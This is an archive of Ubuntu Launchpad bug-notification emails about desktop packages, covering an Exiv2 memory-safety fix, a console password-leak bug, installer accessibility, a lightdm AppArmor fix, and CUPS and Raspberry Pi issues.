dmi:bvnLENOVO:bvrG1ETB0WW(2.70):bd01/21/2016:svnLENOVO:pn2347GU8:pvrThinkPadT430:rvnLENOVO:rn2347GU8:rvrNotDefined:cvnLENOVO:ct10:cvrNotAvailable: dmi.product.family: ThinkPad T430 dmi.product.name: 2347GU8 dmi.product.sku: LENOVO_MT_2347
[Desktop-packages] [Bug 1923479] Re: out of buffer access and Integer overflow in Exiv2
A security update will be issue in next days to fix it on Ubuntu releases. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to exiv2 in Ubuntu. https://bugs.launchpad.net/bugs/1923479 Title: out of buffer access and Integer overflow in Exiv2 Status in exiv2 package in Ubuntu: In Progress Bug description: An out of buffer access: https://github.com/Exiv2/exiv2/commit/13e5a3e02339b746abcaee6408893ca2fd8e289d and a Integer overflow : https://github.com/Exiv2/exiv2/commit/9b7a19f957af53304655ed1efe32253a1b11a8d0 affects Exiv2 in ubuntu releases To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/exiv2/+bug/1923479/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923479] Re: out of buffer access and Integer overflow in Exiv2
issued* -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to exiv2 in Ubuntu. https://bugs.launchpad.net/bugs/1923479 Title: out of buffer access and Integer overflow in Exiv2 Status in exiv2 package in Ubuntu: In Progress Bug description: An out of buffer access: https://github.com/Exiv2/exiv2/commit/13e5a3e02339b746abcaee6408893ca2fd8e289d and a Integer overflow : https://github.com/Exiv2/exiv2/commit/9b7a19f957af53304655ed1efe32253a1b11a8d0 affects Exiv2 in ubuntu releases To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/exiv2/+bug/1923479/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923479] Re: out of buffer access and Integer overflow in Exiv2
There are no CVEs for this issues so far. ** Changed in: exiv2 (Ubuntu) Status: New => In Progress -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to exiv2 in Ubuntu. https://bugs.launchpad.net/bugs/1923479 Title: out of buffer access and Integer overflow in Exiv2 Status in exiv2 package in Ubuntu: In Progress Bug description: An out of buffer access: https://github.com/Exiv2/exiv2/commit/13e5a3e02339b746abcaee6408893ca2fd8e289d and a Integer overflow : https://github.com/Exiv2/exiv2/commit/9b7a19f957af53304655ed1efe32253a1b11a8d0 affects Exiv2 in ubuntu releases To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/exiv2/+bug/1923479/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923479] [NEW] out of buffer access and Integer overflow in Exiv2
Public bug reported: An out of buffer access: https://github.com/Exiv2/exiv2/commit/13e5a3e02339b746abcaee6408893ca2fd8e289d and a Integer overflow : https://github.com/Exiv2/exiv2/commit/9b7a19f957af53304655ed1efe32253a1b11a8d0 affects Exiv2 in ubuntu releases ** Affects: exiv2 (Ubuntu) Importance: Undecided Assignee: Leonidas S. Barbosa (leosilvab) Status: In Progress ** Changed in: exiv2 (Ubuntu) Assignee: (unassigned) => Leonidas S. Barbosa (leosilvab) -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to exiv2 in Ubuntu. https://bugs.launchpad.net/bugs/1923479 Title: out of buffer access and Integer overflow in Exiv2 Status in exiv2 package in Ubuntu: In Progress Bug description: An out of buffer access: https://github.com/Exiv2/exiv2/commit/13e5a3e02339b746abcaee6408893ca2fd8e289d and a Integer overflow : https://github.com/Exiv2/exiv2/commit/9b7a19f957af53304655ed1efe32253a1b11a8d0 affects Exiv2 in ubuntu releases To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/exiv2/+bug/1923479/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1803993] Re: Password appears on the VT1 screen
Unfortunately I can't reproduce this bug, even with the 0.9.3-1ubuntu7.18.04.1 version of plymouth installed, so I can't say for sure that it's fixed with plymouth 0.9.3-1ubuntu7.18.04.2. Also note that the [test case] in the description is wrong, that would be correct with the systemd change made earlier, but that change was reverted upstream and in ubuntu, so the test case steps aren't an accurate indication that the bug is fixed or not. Anyone on this bug able to reproduce the main problem, of key output (e.g. passwords) being printed on the console and visible between login sessions, and/or during shutdown? If not, I think we should consider this bug fixed. ** Changed in: systemd (Ubuntu) Status: Confirmed => Invalid ** Changed in: plymouth (Ubuntu) Status: Invalid => Fix Released -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gdm3 in Ubuntu. https://bugs.launchpad.net/bugs/1803993 Title: Password appears on the VT1 screen Status in gdm3 package in Ubuntu: Invalid Status in plymouth package in Ubuntu: Fix Released Status in systemd package in Ubuntu: Invalid Bug description: [Impact] * The keyboard on the graphical login screen started on VT1 may stop working and or keypresses including passwords are leaked to the terminal console running 'behind' the graphical login screen or environment. [Test Case] * Reboot after installing the fixed systemd package. * Install sysdig * Start sysdig on a remote connection or on a terminal console: $ sudo sysdig evt.type=ioctl | grep request=4B4 * While sysdig is running log in and out 3 times in GDM and press a few keys in the graphical session to see if keyboard still works * Log in and out on an other terminal console, too, running a few commands while being logged in to ensure that keyboard is working. * Observe that on terminal consoles the monitored keyboard setter ioctl is called with argument=3, but where the graphical screen is active only argument=4 is used, unlike with the buggy version observed in https://bugs.launchpad.net/ubuntu/+source/gdm3/+bug/1803993/comments/14 [Regression Potential] * The fix checks the current keyboard mode of the VT and allows only safe mode switches. The potential regression could be not allowing a valid mode switch keeping a keyboard in a non-operational mode. Testing covers that by typing the keyboard. (continued from bug 1767918) This was found when an administrative error made /home directory inaccessible. Any users that tried to login after that, were not able to (which is expected) but their password appears on the VT1 screen. Under normal circumstances, VT1 is not visible. But once the system was sent into this compromised mode, one can press ctrl+alt+F1 and then ctrl+alt+F2 and get a momentary glance at VT1. One can keep toggling between these key combinations in order to make out the password(s) on VT1. As a further test, I wanted to see if a non-super user could cause this condition, and it is in fact possible. As a regular user, I made their own home directory not writable and then removed ~/.config and logged out. Then logged in as that user again, and although that user can't login the system does go into that mode where passwords appear on VT1 and are viewable with the key combinations mentioned herein. Further, any other users that login will see no problem, but when they logon their passwords also appear on VT1 and are viewable. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: gdm3 3.28.3-0ubuntu18.04.3 Uname: Linux 4.19.2-041902-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.5 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Mon Nov 19 08:32:59 2018 InstallationDate: Installed on 2018-08-25 (85 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: gdm3 UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gdm3/+bug/1803993/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923052] Re: screen reader does not read ubiquity window
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: ubiquity (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to at-spi2-core in Ubuntu. https://bugs.launchpad.net/bugs/1923052 Title: screen reader does not read ubiquity window Status in at-spi2-core package in Ubuntu: Confirmed Status in orca package in Ubuntu: Confirmed Status in ubiquity package in Ubuntu: Confirmed Bug description: Steps to reproduce: 1. Run Ubuntu MATE 21.04 installation media 2. Try to follow http://iso.qa.ubuntu.com/qatracker/testcases/1309/info testcase by pressing ++ to activate screenreader with shown Ubiquity window, press to select some button Expected result: * screen reader reads ubiquity window Actual result: * screen reader does not read ubiquity window Note: screen reader actually works, it reads other windows - for example the terminal opened by ++. ProblemType: Bug DistroRelease: Ubuntu 21.04 Package: ubiquity 21.04.14 ProcVersionSignature: Ubuntu 5.11.0-13.14-generic 5.11.7 Uname: Linux 5.11.0-13-generic x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair ApportVersion: 2.20.11-0ubuntu61 Architecture: amd64 CasperMD5CheckResult: pass CasperVersion: 1.461 Date: Thu Apr 8 13:01:30 2021 InstallCmdLine: BOOT_IMAGE=/casper/vmlinuz file=/cdrom/preseed/ubuntu-mate.seed maybe-ubiquity quiet splash --- LiveMediaBuild: Ubuntu-MATE 21.04 "Hirsute Hippo" - Beta amd64 (20210407.1) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=C.UTF-8 SourcePackage: ubiquity UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/at-spi2-core/+bug/1923052/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923052] Re: screen reader does not read ubiquity window
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: orca (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to at-spi2-core in Ubuntu. https://bugs.launchpad.net/bugs/1923052 Title: screen reader does not read ubiquity window Status in at-spi2-core package in Ubuntu: Confirmed Status in orca package in Ubuntu: Confirmed Status in ubiquity package in Ubuntu: Confirmed Bug description: Steps to reproduce: 1. Run Ubuntu MATE 21.04 installation media 2. Try to follow http://iso.qa.ubuntu.com/qatracker/testcases/1309/info testcase by pressing ++ to activate screenreader with shown Ubiquity window, press to select some button Expected result: * screen reader reads ubiquity window Actual result: * screen reader does not read ubiquity window Note: screen reader actually works, it reads other windows - for example the terminal opened by ++. ProblemType: Bug DistroRelease: Ubuntu 21.04 Package: ubiquity 21.04.14 ProcVersionSignature: Ubuntu 5.11.0-13.14-generic 5.11.7 Uname: Linux 5.11.0-13-generic x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair ApportVersion: 2.20.11-0ubuntu61 Architecture: amd64 CasperMD5CheckResult: pass CasperVersion: 1.461 Date: Thu Apr 8 13:01:30 2021 InstallCmdLine: BOOT_IMAGE=/casper/vmlinuz file=/cdrom/preseed/ubuntu-mate.seed maybe-ubiquity quiet splash --- LiveMediaBuild: Ubuntu-MATE 21.04 "Hirsute Hippo" - Beta amd64 (20210407.1) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=C.UTF-8 SourcePackage: ubiquity UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/at-spi2-core/+bug/1923052/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923052] Re: screen reader does not read ubiquity window
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: at-spi2-core (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to at-spi2-core in Ubuntu. https://bugs.launchpad.net/bugs/1923052 Title: screen reader does not read ubiquity window Status in at-spi2-core package in Ubuntu: Confirmed Status in orca package in Ubuntu: Confirmed Status in ubiquity package in Ubuntu: Confirmed Bug description: Steps to reproduce: 1. Run Ubuntu MATE 21.04 installation media 2. Try to follow http://iso.qa.ubuntu.com/qatracker/testcases/1309/info testcase by pressing ++ to activate screenreader with shown Ubiquity window, press to select some button Expected result: * screen reader reads ubiquity window Actual result: * screen reader does not read ubiquity window Note: screen reader actually works, it reads other windows - for example the terminal opened by ++. ProblemType: Bug DistroRelease: Ubuntu 21.04 Package: ubiquity 21.04.14 ProcVersionSignature: Ubuntu 5.11.0-13.14-generic 5.11.7 Uname: Linux 5.11.0-13-generic x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair ApportVersion: 2.20.11-0ubuntu61 Architecture: amd64 CasperMD5CheckResult: pass CasperVersion: 1.461 Date: Thu Apr 8 13:01:30 2021 InstallCmdLine: BOOT_IMAGE=/casper/vmlinuz file=/cdrom/preseed/ubuntu-mate.seed maybe-ubiquity quiet splash --- LiveMediaBuild: Ubuntu-MATE 21.04 "Hirsute Hippo" - Beta amd64 (20210407.1) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=C.UTF-8 SourcePackage: ubiquity UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/at-spi2-core/+bug/1923052/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1921655] Re: lightdm-guest-session ICEauthority error
** Changed in: lightdm (Ubuntu Groovy)
Status: Triaged => Incomplete
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to lightdm in Ubuntu.
https://bugs.launchpad.net/bugs/1921655
Title:
lightdm-guest-session ICEauthority error
Status in Ubuntu MATE:
New
Status in lightdm package in Ubuntu:
Fix Released
Status in lightdm source package in Focal:
Triaged
Status in lightdm source package in Groovy:
Incomplete
Status in lightdm source package in Hirsute:
Fix Released
Bug description:
Hello I ran into trouble to start the lightdm-guest-session in linux
mint (cinnamon).
## How to reproduce:
- boot linux mint (20.02) or ubuntu mate (20.04) I haven't tested other
distros but I think others are also affected.
- enable guest user session
- try to login as guest user
## Error logs:
### Error Message:
` Could not update file ICEauthority file /run/user/XXX/ICEauthority`
### aa-notify:
```
Profile: /usr/lib/lightdm/lightdm-guest-session
Operation: open
Name: /proc/8125/uid_map
Denied: w
Logfile: /var/log/kern.log
Profile: /usr/lib/lightdm/lightdm-guest-session
Operation: open
Name: /proc/8125/setgroups
Denied: w
Logfile: /var/log/kern.log
Profile: /usr/lib/lightdm/lightdm-guest-session
Operation: open
Name: /proc/8125/gid_map
Denied: w
Logfile: /var/log/kern.log
Profile: /usr/lib/lightdm/lightdm-guest-session
Operation: open
Name: /proc/8624/fd/
Denied: r
Logfile: /var/log/kern.log
```
### dmesg:
```
[ 218.831289] audit: type=1400 audit(1616864450.287:76): apparmor="DENIED"
operation="sendmsg" profile="/usr/lib/lightdm/lightdm-guest-session"
name="/run/systemd/journal/dev-log" pid=3916 comm="cinnamon-sessio"
requested_mask="w" denied_mask="w" fsuid=999 ouid=0
[ 1157.263045] audit: type=1400 audit(1616865388.720:1084): apparmor="DENIED"
operation="open" profile="/usr/lib/lightdm/lightdm-guest-session"
name="/proc/9899/fd/" pid=9899 comm="gpg-agent" requested_mask="r"
denied_mask="r" fsuid=999 #ouid=0
[ 1157.899223] audit: type=1400 audit(1616865389.356:1085): apparmor="DENIED"
operation="open" profile="/usr/lib/lightdm/lightdm-guest-session"
name="/proc/1/cgroup" pid=9840 comm="cinnamon-sessio" requested_mask="r"
denied_mask="r" fsuid=999 ouid=0
[ 1157.899445] audit: type=1400 audit(1616865389.360:1086): apparmor="DENIED"
operation="sendmsg" profile="/usr/lib/lightdm/lightdm-guest-session"
name="/run/systemd/journal/dev-log" pid=9840 comm="cinnamon-sessio"
requested_mask="w" denied_mask="w" fsuid=999 ouid=0
[ 1157.903410] audit: type=1400 audit(1616865389.364:1087): apparmor="DENIED"
operation="link" profile="/usr/lib/lightdm/lightdm-guest-session"
name="/run/user/999/ICEauthority-l" pid=9840 comm="cinnamon-sessio"
requested_mask="l" denied_mask="l" fsuid=999 ouid=999
target="/run/user/999/ICEauthority-c"
```
## Solutions:
### bad but common work around
Solutions I found in different forums were to move lightdm-guest-session into
complain mode like this:
`aa-complain /usr/lib/lightdm/lightdm-guest-session`
### maybe better sollution:
My fix would be to add this to `/etc/apparmor.d/lightdm-guest-session`:
```
...
/usr/lib/lightdm/lightdm-guest-session {
...
owner /run/user/[0-9]*/ICEauthority-? l,`
...
}
```
I honestly have no clue about apparmor and I'm unsure where to post this but
I hope this maybe helps some other people in the future.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-mate/+bug/1921655/+subscriptions
--
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1820859] Re: nautilus --version segfaults in g_application_impl_get_dbus_object_path
It happened after a fresh install of Ubuntu 21.04 Beta on ZFS. Only the updates have been run and I was just installing or starting to install the Virtualbox Guest Additions -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to nautilus in Ubuntu. https://bugs.launchpad.net/bugs/1820859 Title: nautilus --version segfaults in g_application_impl_get_dbus_object_path Status in nautilus package in Ubuntu: Triaged Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding nautilus. This problem was most recently seen with package version 1:3.31.90-1ubuntu2, the problem page at https://errors.ubuntu.com/problem/8a8c9fc62039a8bb83a7ee530ac4140a9b8c29d9 contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nautilus/+bug/1820859/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1921655] Re: lightdm-guest-session ICEauthority error
This bug was fixed in the package lightdm - 1.30.0-0ubuntu4
---
lightdm (1.30.0-0ubuntu4) hirsute; urgency=medium
* debian/patches/fix-guest-session-ICEauthority-error.patch:
- Fixes AppArmor issue which prevented access to the guest session
feature in e.g. MATE (LP: #1921655). Thanks to Jonas Wiegert for
the solution!
* debian/patches/Glibc-2.33-fix.patch:
- Cherry picked from upstream to prevent FTBFS
* debian/patches/dont-turn-format-warnings-into-errors.patch:
- Works around FTBFS on s390x with gcc versions higher than gcc-9.
-- Gunnar Hjalmarsson Sun, 11 Apr 2021 00:18:06
+0200
** Changed in: lightdm (Ubuntu Hirsute)
Status: Fix Committed => Fix Released
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to lightdm in Ubuntu.
https://bugs.launchpad.net/bugs/1921655
Title:
lightdm-guest-session ICEauthority error
Status in Ubuntu MATE:
New
Status in lightdm package in Ubuntu:
Fix Released
Status in lightdm source package in Focal:
Triaged
Status in lightdm source package in Groovy:
Triaged
Status in lightdm source package in Hirsute:
Fix Released
Bug description:
Hello I ran into trouble to start the lightdm-guest-session in linux
mint (cinnamon).
## How to reproduce:
- boot linux mint (20.02) or ubuntu mate (20.04) I haven't tested other
distros but I think others are also affected.
- enable guest user session
- try to login as guest user
## Error logs:
### Error Message:
` Could not update file ICEauthority file /run/user/XXX/ICEauthority`
### aa-notify:
```
Profile: /usr/lib/lightdm/lightdm-guest-session
Operation: open
Name: /proc/8125/uid_map
Denied: w
Logfile: /var/log/kern.log
Profile: /usr/lib/lightdm/lightdm-guest-session
Operation: open
Name: /proc/8125/setgroups
Denied: w
Logfile: /var/log/kern.log
Profile: /usr/lib/lightdm/lightdm-guest-session
Operation: open
Name: /proc/8125/gid_map
Denied: w
Logfile: /var/log/kern.log
Profile: /usr/lib/lightdm/lightdm-guest-session
Operation: open
Name: /proc/8624/fd/
Denied: r
Logfile: /var/log/kern.log
```
### dmesg:
```
[ 218.831289] audit: type=1400 audit(1616864450.287:76): apparmor="DENIED"
operation="sendmsg" profile="/usr/lib/lightdm/lightdm-guest-session"
name="/run/systemd/journal/dev-log" pid=3916 comm="cinnamon-sessio"
requested_mask="w" denied_mask="w" fsuid=999 ouid=0
[ 1157.263045] audit: type=1400 audit(1616865388.720:1084): apparmor="DENIED"
operation="open" profile="/usr/lib/lightdm/lightdm-guest-session"
name="/proc/9899/fd/" pid=9899 comm="gpg-agent" requested_mask="r"
denied_mask="r" fsuid=999 #ouid=0
[ 1157.899223] audit: type=1400 audit(1616865389.356:1085): apparmor="DENIED"
operation="open" profile="/usr/lib/lightdm/lightdm-guest-session"
name="/proc/1/cgroup" pid=9840 comm="cinnamon-sessio" requested_mask="r"
denied_mask="r" fsuid=999 ouid=0
[ 1157.899445] audit: type=1400 audit(1616865389.360:1086): apparmor="DENIED"
operation="sendmsg" profile="/usr/lib/lightdm/lightdm-guest-session"
name="/run/systemd/journal/dev-log" pid=9840 comm="cinnamon-sessio"
requested_mask="w" denied_mask="w" fsuid=999 ouid=0
[ 1157.903410] audit: type=1400 audit(1616865389.364:1087): apparmor="DENIED"
operation="link" profile="/usr/lib/lightdm/lightdm-guest-session"
name="/run/user/999/ICEauthority-l" pid=9840 comm="cinnamon-sessio"
requested_mask="l" denied_mask="l" fsuid=999 ouid=999
target="/run/user/999/ICEauthority-c"
```
## Solutions:
### bad but common work around
Solutions I found in different forums were to move lightdm-guest-session into
complain mode like this:
`aa-complain /usr/lib/lightdm/lightdm-guest-session`
### maybe better sollution:
My fix would be to add this to `/etc/apparmor.d/lightdm-guest-session`:
```
...
/usr/lib/lightdm/lightdm-guest-session {
...
owner /run/user/[0-9]*/ICEauthority-? l,`
...
}
```
I honestly have no clue about apparmor and I'm unsure where to post this but
I hope this maybe helps some other people in the future.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-mate/+bug/1921655/+subscriptions
--
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1890572] Re: USB backend never ends if the printer is not connected
Please report on the new GitHub of CUPS on OpenPrinting:
https://github.com/OpenPrinting/cups/issues
On Apple the CUPS project is dead and bug reports probably not read any
more.
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to cups in Ubuntu.
https://bugs.launchpad.net/bugs/1890572
Title:
USB backend never ends if the printer is not connected
Status in cups package in Ubuntu:
New
Bug description:
USB backend never ends if the printer is not connected. We have been
able to identify a infinity loop in print_device function in usb-
libusb.c file:
```
fprintf(stderr, "DEBUG: Printing on printer with URI: %s\n", uri);
while ((g.printer = find_device(print_cb, uri)) == NULL)
{
_cupsLangPrintFilter(stderr, "INFO",
_("Waiting for printer to become available."));
sleep(5);
}
```
It's also easy to test by invoking the backend by hand:
```
# export DEVICE_URI='usb://Printer/Model?serial=?'
# /usr/lib/cups/backend/usb 0 root title 1 '' data.file
DEBUG: Loading USB quirks from "/usr/share/cups/usb".
DEBUG: Loaded 159 quirks.
DEBUG: Printing on printer with URI: usb://Printer/Model?serial=?
DEBUG: libusb_get_device_list=6
INFO: Waiting for printer to become available.
DEBUG: libusb_get_device_list=6
INFO: Waiting for printer to become available.
DEBUG: libusb_get_device_list=6
INFO: Waiting for printer to become available.
DEBUG: libusb_get_device_list=6
INFO: Waiting for printer to become available.
DEBUG: libusb_get_device_list=6
INFO: Waiting for printer to become available.
...
```
Setting a job timeout policy or manually stopping work are not options
for us. We may have jobs that take hours to complete.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/cups/+bug/1890572/+subscriptions
--
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1865379] Re: Raspberry Pi 4 fails to wake at login prompt
No response to my question in #34 from April of last year so setting
'linux (Ubuntu)' to 'Invalid'.
** Changed in: linux (Ubuntu)
Status: Confirmed => Invalid
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to xorg-server in Ubuntu.
https://bugs.launchpad.net/bugs/1865379
Title:
Raspberry Pi 4 fails to wake at login prompt
Status in linux package in Ubuntu:
Invalid
Status in xorg-server package in Ubuntu:
Incomplete
Bug description:
Raspberry Pi 4 running Ubuntu server 20.04 Focal (and perhaps 19.10
Eoan) fails to wake from sleep when no user is logged in and the
screen is sitting at the gdm login prompt.
This has happened on two different systems. One system uses the
official RPi 7 inch touchscreen via (LCD DSI Display Connector). The
other system has a 10 inch non-touchscreen from SunFounder via (Micro
HDMI).
Nothing wakes the Pi: Keyboard, mouse, or touchscreen.
After a user logs in and the screen locks on sleep the system wakes
just fine with a lock screen.
ProblemType: Bug
DistroRelease: Ubuntu 20.04
Package: gdm3 3.34.1-1ubuntu1
ProcVersionSignature: User Name 5.4.0-1001.1-raspi2 5.4.8
Uname: Linux 5.4.0-1001-raspi2 armv7l
ApportVersion: 2.20.11-0ubuntu18
Architecture: armhf
CurrentDesktop: XFCE
Date: Sun Mar 1 20:03:12 2020
ProcEnviron:
TERM=xterm-256color
PATH=(custom, no user)
XDG_RUNTIME_DIR=
LANG=C.UTF-8
SHELL=/bin/bash
SourcePackage: gdm3
UpgradeStatus: Upgraded to focal on 2020-02-28 (2 days ago)
---
ProblemType: Bug
ApportVersion: 2.20.11-0ubuntu18
Architecture: armhf
CurrentDesktop: XFCE
DisplayManager: gdm3
DistroRelease: Ubuntu 20.04
GsettingsChanges:
b'org.gnome.desktop.input-sources' b'sources' b"[('xkb', 'us')]"
b'org.gnome.desktop.interface' b'gtk-im-module' b"'ibus'"
Package: gnome-shell 3.35.91-1ubuntu2
PackageArchitecture: armhf
ProcEnviron:
TERM=xterm-256color
PATH=(custom, no user)
XDG_RUNTIME_DIR=
LANG=C.UTF-8
SHELL=/bin/bash
ProcVersionSignature: User Name 5.4.0-1001.1-raspi2 5.4.8
RelatedPackageVersions: mutter-common 3.35.91-1ubuntu1
Tags: focal uec-images third-party-packages
Uname: Linux 5.4.0-1001-raspi2 armv7l
UpgradeStatus: Upgraded to focal on 2020-02-28 (20 days ago)
UserGroups: adm audio cdrom dialout dip floppy lxd netdev plugdev sudo video
_MarkForUpload: True
---
ProblemType: Bug
ApportVersion: 2.20.11-0ubuntu18
Architecture: armhf
CurrentDesktop: XFCE
DisplayManager: gdm3
DistroRelease: Ubuntu 20.04
GsettingsChanges:
b'org.gnome.desktop.app-folders' b'folder-children' b"['Utilities',
'Sundry', 'YaST']"
b'org.gnome.desktop.input-sources' b'sources' b"[('xkb', 'us')]"
b'org.gnome.desktop.interface' b'gtk-im-module' b"'gtk-im-context-simple'"
Package: gnome-shell 3.35.91-1ubuntu2
PackageArchitecture: armhf
ProcEnviron:
TERM=xterm-256color
PATH=(custom, no user)
XDG_RUNTIME_DIR=
LANG=C.UTF-8
SHELL=/bin/bash
ProcVersionSignature: User Name 5.4.0-1001.1-raspi2 5.4.8
RelatedPackageVersions: mutter-common 3.35.91-1ubuntu1
Tags: focal uec-images third-party-packages
Uname: Linux 5.4.0-1001-raspi2 armv7l
UpgradeStatus: Upgraded to focal on 2020-01-12 (69 days ago)
UserGroups: adm audio cdrom dialout dip floppy lxd netdev plugdev sudo video
_MarkForUpload: True
---
ProblemType: Bug
ApportVersion: 2.20.11-0ubuntu18
Architecture: armhf
BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log'
CompositorRunning: None
CurrentDesktop: XFCE
DistUpgraded: 2020-01-11 19:42:56,183 DEBUG Running PostInstallScript:
'./xorg_fix_proprietary.py'
DistroCodename: focal
DistroRelease: Ubuntu 20.04
DistroVariant: ubuntu
ExtraDebuggingInterest: Yes
GraphicsCard:
Lsusb:
Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
Bus 001 Device 004: ID 8086:0808 Intel Corp.
Bus 001 Device 003: ID 046d:c52b Logitech, Inc. Unifying Receiver
Bus 001 Device 002: ID 2109:3431 VIA Labs, Inc. Hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Package: xorg-server (not installed)
ProcEnviron:
TERM=xterm-256color
PATH=(custom, no user)
XDG_RUNTIME_DIR=
LANG=C.UTF-8
SHELL=/bin/bash
ProcKernelCmdLine: coherent_pool=1M 8250.nr_uarts=1 cma=64M cma=256M
video=HDMI-A-1:1280x800@60 smsc95xx.macaddr=DC:A6:32:1F:4B:D2
vc_mem.mem_base=0x3ec0 vc_mem.mem_size=0x4000 net.ifnames=0
dwc_otg.lpm_enable=0 console=ttyS0,115200 console=tty1 root=LABEL=writable
rootfstype=ext4 elevator=deadline rootwait fixrtc quiet splash
ProcVersionSignature: User Name 5.4.0-1001.1-raspi2 5.4.8
Tags: focal uec-images ubuntu reproducible
Uname: Linux 5.4.0-1001-raspi2 armv7l
UpgradeStatus: Upgraded to focal on 2020-01-12 (72 days ago)
UserGroups: adm audio cdrom dialout dip floppy lxd netdev plugdev sudo video
_MarkForUpload: True
version.compiz: compiz N/A
[Desktop-packages] [Bug 1840725] Re: Microphone not working in Ubuntu 18.04.3 LTS on new hp-spectre-x360-convertible-15 laptop
